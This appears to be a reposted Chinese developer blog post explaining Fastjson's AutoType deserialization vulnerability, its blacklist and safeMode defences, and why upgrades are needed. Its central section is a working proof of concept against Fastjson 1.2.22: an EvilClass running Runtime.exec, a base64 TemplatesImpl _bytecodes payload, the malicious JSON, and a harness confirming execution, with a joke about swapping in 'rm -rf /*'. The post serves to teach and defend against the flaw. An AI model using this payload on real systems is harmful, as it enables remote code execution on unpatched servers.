我是靠谱客的博主 笑点低宝贝,最近开发中收集的这篇文章主要介绍fastjson 判断是否包含_什么是FastJson的AutoType反序列化漏洞?,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

ef09dd94b3e765651739eb759c5622d5.png 小编推荐:一年修复好几回fastjson漏洞,几十个服务挨个升级,心累无比?Fastjson频发的漏洞孕育出了一批叫苦连天的“fastjson 升级工程师”,漏洞产生的罪魁祸首就是autoType特性,如果不了解其中原理,那么漏洞就是个潘多拉魔盒,作为励志脱离CRUD工程师的合格程序员,有必要系统的了解下漏洞产生的根本原因及解决方案!

1.

频繁出现的反序列化漏洞

最近公司的小伙伴们收到了一波安全工单,因为FastJson存在高危漏洞,要求将FastJson版本号升级到1.2.69及以上。

漏洞描述如下:

在Fastjson<=1.2.68的版本中,通过新的Gadgets链绕过autoType开关,在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制,实现了反序列化漏洞利用的远程代码执行效果,同时,此次修复补丁也补充了autoType黑名单,Fastjson历史版本中,autoType安全黑名单已被多次绕过,官方也一直在持续补充增强该黑名单,并在1.2.68版本中引入一个safeMode的配置,配置safeMode后,无论白名单和黑名单,都不支持autoType,不过默认并未开启该配置。由于autoType开关漏洞利用门槛较低,可绕过autoType限制,风险影响较大,建议尽快更新漏洞修复版本或采用临时缓解措施加固系统。

从漏洞描述中可以大致猜测到,漏洞的产生和绕过AutoType安全校验有分不开的关系。

2.

parse()及parseObject()

FastJson中将JSON串反序列化成Java对象的两个常用方法是parse()及parseObject(),那么这两者有什么区别呢?

定义User测试类如下:

package com.company.project.bean;import java.io.Serializable;public class User  implements Serializable {    private static final long serialVersionUID = -8088742348807697485L;    private String userName;    public User() {        System.out.println("call construct method");    }    public String getUserName() {        System.out.println("call get method getUserName");        return userName;    }    public void setUserName(String userName) {        System.out.println("call set  method setUserName");        this.userName = userName;    }}

fastJson中parse方法或者parseObject都可以将JSON串转化成Java对象,定义如下:

public static void main(String[] args) {     String userJson = "{"@type":"com.company.project.bean.User","userName":"testUserName"}";     //parseObject测试     Object object1 = JSON.parseObject(userJson);     System.out.println("=============");     //parse     Object object2 = JSON.parse(userJson); }

控制台中输出结果如下:

c462f9b95e388ab28682e0ff00d06e94.png

根据控制台输出,可以看到parseObject方法会调用getter方法,而parse方法却不会,为什么呢?

parse()及parseObject()进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法,而 parseObject() 由于要将返回值转化为JSONObject,多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的getter 方法来将参数赋值给JSONObject。

也就是说使用AutoType时,若使用parseObject方法,会触发该类的构造函数、get、set方法。

看了半天就说了这个?这玩意和漏洞有啥关系?

3160d5021c6e606625e2a7411c5fe5fd.png

3.

AutoType及安全校验

要了解FastJson的AutoType反序列化漏洞,有必要先说明下FastJson中的AutoType是什么,有什么用。

Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的Class类型。

  • AutoType安全校验

知道了AutoType的作用后,假设如下场景,

  1. 服务端接收到的请求Json串中包含了指定恶意代码Class的@Type,

  2. 服务端调用JSON.parseObject()时触发了该Class中的构造函数、或者是getter、setter方法中的恶意代码

这不就是反序列化攻击的思路了?

当然FastJson的开发者也意识到了这一点,这才诞生了AutoType的黑名单机制,以及SafeMode安全机制。

  • AutoType黑名单机制

既然Json串中传入指定不可靠第三方Type类时是有被攻击风险的,自然最简单的做法就是在反序列化时首先校验传入的Class是否在黑名单Class列表中,FastJson中通过Hash算法,将一系列存在安全风险的Class全路径的Hash值存储在黑名单中,代码如下:

c4e66b17be9695960b778ec62de32dee.png

在传入指定类型Class时,会首先判断该类是否在黑名单中,如果是,则抛出异常,代码在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class>, int)中。

c8506afb4075555cbfd1206d235e6e8b.png

既然是黑名单,那么其中的风险类自然是要在不断迭代演进中添加的,不可能一步到位,屏蔽所有风险类,这也是为什么FastJson频繁升级来修复漏洞的原因。

  • SafeMode安全机制

fastjson在1.2.68及之后的版本中引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化Gadgets类变种攻击。

对应到fastJson反序列化中的代码实现,代码在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class>, int)中。

fceed2058d24057effad30f675562a11.png

  • 攻击思路

现在回头再看一眼漏洞描述,问题是不是就很清晰了,漏洞在两种情况下容易被利用:

  1. 执行AutoType安全校验,但新发现了一个黑名单中不存在的Class,利用该Class反序列化时执行的恶意代码进行攻击

  2. 通过某种方法,绕过AutoType安全校验

4.

反序列化攻击模拟

3a0955fa1146da12b5175ab8e98300e6.png

为了让大家更好的理解反序列化漏洞,还是举个实际例子来说明吧,为了方便演示漏洞,下文采用的FastJson版本为1.2.22(高版本中已通过黑名单机制屏蔽该漏洞)。演示利用一个黑名单中不存在的Class(在上文指定的FastJSON 1.2.22版本中还未屏蔽这个风险类)来执行攻击。

  • TemplatesImpl攻击调用链路

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是历史上出现过存在FastJson反序列漏洞的一个第三方类。

上文已经提到过,JSON串中传入指定类型Class时,调用parseObject方法反序列时会调用该Class的get、set及构造方法,那么如果指定JSON串中type为TemplatesImpl时。

  1. TemplatesImpl中存在一个get方法为getOutputProperties(),其在调用FastJson.parseObject()序列化为Java对象时会被调用。

  2. getOutputProperties内部调用了newTransformer()方法,newTransformer()内部调用了getTransletInstance()方法获取Translet对象。

  3. 获取Translet对象时,其通过内部的私有变量_bytecodes生成返回的Translet对象。

这里这个_bytecodes私有变量就是整个攻击设计的核心所在,虽然FastJson默认只能反序列化公有属性,但是可以在JSON串中指定_bytecodes为我们恶意攻击类的字节码,同时调用JSON.parseObject(json, Object.class, Feature.SupportNonPublicField)来反序列化私有属性,那么_bytecodes就可以是任意指定代码。

也就是说,如果事先定义好了Translet返回Class类的内容,并且在自定义的Translet类的构造函数中实现攻击代码,并且把攻击代码转化成字节码,传入TemplatesImpl的私有变量_bytecodes中,那么反序列化生成TemplatesImpl时就会使用我们自定义的字节码来生成Translet类,从而触发Translet构造函数中的攻击代码。

ea94b00351ba5992089f36c05f562f6d.png

所以攻击思路很明显了,分为三步:

  1. 自定义Translet攻击类,在构造函数中实现攻击代码

  2. 根据步骤1生成的字节码来构造攻击JSON串

  3. 调用JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);反序列化对象从而触发攻击,这里必须使用支持私有变量反序列化的Feature,虽然条件有点苛刻,但这只是众多攻击链路中较为易懂的一种

  • 攻击类Translet生成

定义如下攻击类EvilClass,继承自AbstractTranslet,在构造函数中写入自己的攻击代码,这里演示只做新增一个文件的操作(你要改成rm -rf /*我也没意见)

package com.company.project.bean;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class EvilClass extends AbstractTranslet {    public EvilClass() throws IOException {        namesArray = new String[]{"1", "2"};        //简单模拟攻击代码操作,生成一个txt文件        Runtime.getRuntime().exec("/usr/bin/touch /tmp/evilAttack.txt");    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {    }    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {    }}
  • 构造攻击JSON串

然后将编译后的.class字节码文件进行base64编码,最后使用生成的字节码的base64编码来生成攻击JSON串。

FastJson提取byte[]数组字段值时会进行Base64解码,所以我们构造payload时需要对 _bytecodes 进行Base64处理。

 public static void  test_autoTypeDeny() throws Exception {        final String evilClassPath = "/Users/didi/IdeaProjects/spring-boot-api-project-seed/target/classes/com/company/project/bean/EvilClass.class";        String evilCode = readClass(evilClassPath);        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";        String text1 = "{"@type":"" + NASTY_CLASS +                "","_bytecodes":[""+evilCode+""],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }," +                ""_name":"a","_version":"1.0","allowedProtocols":"all"}n";        System.out.println(text1);    }

最后,完整的恶意JSON串如下:

{    "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",    "_bytecodes":[        "yv66vgAAADQANgoACgAiBwAjCAAkCAAlCQAJACYKACcAKAgAKQoAJwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzczsBAApFeGNlcHRpb25zBwAtAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAALAAwBABBqYXZhL2xhbmcvU3RyaW5nAQABMQEAATIMAC8AMAcAMQwAMgAzAQAiL3Vzci9iaW4vdG91Y2ggL3RtcC9ldmlsQXR0YWNrLnR4dAwANAA1AQAiY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAKbmFtZXNBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAADAAEACwAMAAIADQAAAFYABQABAAAAICq3AAEqBb0AAlkDEgNTWQQSBFO1AAW4AAYSB7YACFexAAAAAgAOAAAAEgAEAAAADQAEAA4AFgAQAB8AEQAPAAAADAABAAAAIAAQABEAAAASAAAABAABABMAAQAUABUAAQANAAAASQAAAAQAAAABsQAAAAIADgAAAAYAAQAAABUADwAAACoABAAAAAEAEAARAAAAAAABABYAFwABAAAAAQAYABkAAgAAAAEAGgAbAAMAAQAUABwAAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAABkADwAAACAAAwAAAAEAEAARAAAAAAABABYAFwABAAAAAQAdAB4AAgASAAAABAABAB8AAQAgAAAAAgAh"],    '_name':'a.b',    '_tfactory':{    },    "_outputProperties":{    },    "_name":"a",    "_version":"1.0",    "allowedProtocols":"all"}

这个JSON串中最核心的部分是_bytecodes,它是要执行的恶意字节码的base64编码,@type是指定的解析类,至于_name、_outputProperties等属性都是TemplatesImpl的私有变量,为了避免反序列化时报错,随意传入一个值。

  • 攻击模拟

现在假设系统接收到了上述构造的恶意JSON串,调用FastJSON的反序列化操作,如下所示,在反序列化操作的前后分别打印文件是否存在,以此来印证攻击代码(简单的生成一个文件)是否生效。

public static void main(String[] args) {        String json = "{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANgoACgAiBwAjCAAkCAAlCQAJACYKACcAKAgAKQoAJwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzczsBAApFeGNlcHRpb25zBwAtAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAALAAwBABBqYXZhL2xhbmcvU3RyaW5nAQABMQEAATIMAC8AMAcAMQwAMgAzAQAiL3Vzci9iaW4vdG91Y2ggL3RtcC9ldmlsQXR0YWNrLnR4dAwANAA1AQAiY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAKbmFtZXNBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAADAAEACwAMAAIADQAAAFYABQABAAAAICq3AAEqBb0AAlkDEgNTWQQSBFO1AAW4AAYSB7YACFexAAAAAgAOAAAAEgAEAAAADQAEAA4AFgAQAB8AEQAPAAAADAABAAAAIAAQABEAAAASAAAABAABABMAAQAUABUAAQANAAAASQAAAAQAAAABsQAAAAIADgAAAAYAAQAAABUADwAAACoABAAAAAEAEAARAAAAAAABABYAFwABAAAAAQAYABkAAgAAAAEAGgAbAAMAAQAUABwAAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAABkADwAAACAAAwAAAAEAEAARAAAAAAABABYAFwABAAAAAQAdAB4AAgASAAAABAABAB8AAQAgAAAAAgAh"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}";        //开启autoType支持        File fileBeforeAttack = new File("/tmp/evilAttack.txt");        System.out.println("before JSON.parseObject:"+fileBeforeAttack.exists());        //反序列化传入的攻击json串        Object obj = JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);        File fileAfterAttack = new File("/tmp/evilAttack.txt");        System.out.println("after JSON.parseObject:"+fileAfterAttack.exists());    }

执行后命令行中输出如下,说明我们构造的恶意代码被成功执行:b10448ff15d11adc5b4a70f175bfd1b3.png

最后debug到恶意代码执行处,看下反序列化时的调用链路,如图所示:9a7c81c5082370c3989b70bb291d73da.png

最底层触发的入口为JSON.parseObject,后面反序列化时调用TemplatesImpl#getOutProperties方法,最终使用TemplatesImpl类内部私有的_bytecodes生成我们自定义的攻击Class,从触发到自定义类的构造函数中的恶意代码。

当然Fastjson在高版本中已经采用了黑名单机制来屏蔽了TemplatesImpl类。

不管如何,我们在使用开源的第三方库时,需关注官方的版本迭代,防止潜在的漏洞产生危害!

5.

写在最后

在接到FastJson安全漏洞升级工单的时候,对着修复指南,三下五除二就把FastJson版本给升级了,但调侃一下,这种基本操作不就是——

a4be2760848e038cefd68b437986e4c0.png

即使漏洞修复完了,我内心其实还是有疑问的,不明白这个漏洞到底会有什么影响,漏洞产生原因又是什么,究其根本原因还是自己不明白其中原理的缘故,这也算是修复漏洞后一个内心的小疙瘩吧。

正好也借此机会了解了FastJson的漏洞原理,其实最新的漏洞也和AutoType有关,只不过是通过一定巧妙的构造绕过了AutoType的安全校验,但是基本原理、思路是一通百通的。

---- - - - - -   PUHUI TECH  -------- 本文作者 - 5e8a7ab7ea931dcdc9f6d9e4fae88794.png陈胤 高级软件开发工程师

新入职滴滴2个月的Java程序员一个,目前在普惠Carbo团队负责成长体系及人员组织的建设,希望自己能为Carbo团队贡献一份力量。平时喜欢篮球、王者荣耀(cpdd),欢迎各位找我一起玩耍!

编辑 | 周景怡

-

--------- DIDI ---------

普惠产品技术部招聘 普惠产品技术部Carbo、算法团队持续招人,岗位如下: 高级/资深/专家 Java研发工程师 职位描述:   1、负责服务管理体系的建设,推动服务人员管理系统、服务质量管理体系化建设。   2、参与项目的系统分析,设计工作,承担核心功能,公共核心架构模块的代码编写。   3、解决各种疑难杂症,系统优化,并且完成产品、平台和组件的沉淀。 高级/资深/专家 算法工程师   职位描述:   1、基于海量用户行为数据,使用数据挖掘模型和机器学习算法,挖掘危险驾驶行为、交通安全隐患,结合干预手段,为司机乘客保驾护航;   2、通过海量数据,挖掘描述用户的安全风险画像,并应用到业务场景中;   3、带领团队与业务团队合作将算法技术产品化; 简历投递邮箱: tomchenyin@didiglobal.com -

推荐阅读

dd6613dc980ef26c971ffdf95a5a379d.png

e42e303ec58a098075c4c7cb38e4318f.png

b47959a6e1b0f1d1554d8e96d2dbc949.png

1b9c144095affb4cb9a2e36e9e95b07a.png

最后

以上就是笑点低宝贝为你收集整理的fastjson 判断是否包含_什么是FastJson的AutoType反序列化漏洞?的全部内容,希望文章能够帮你解决fastjson 判断是否包含_什么是FastJson的AutoType反序列化漏洞?所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(91)

评论列表共有 0 条评论

立即
投稿
返回
顶部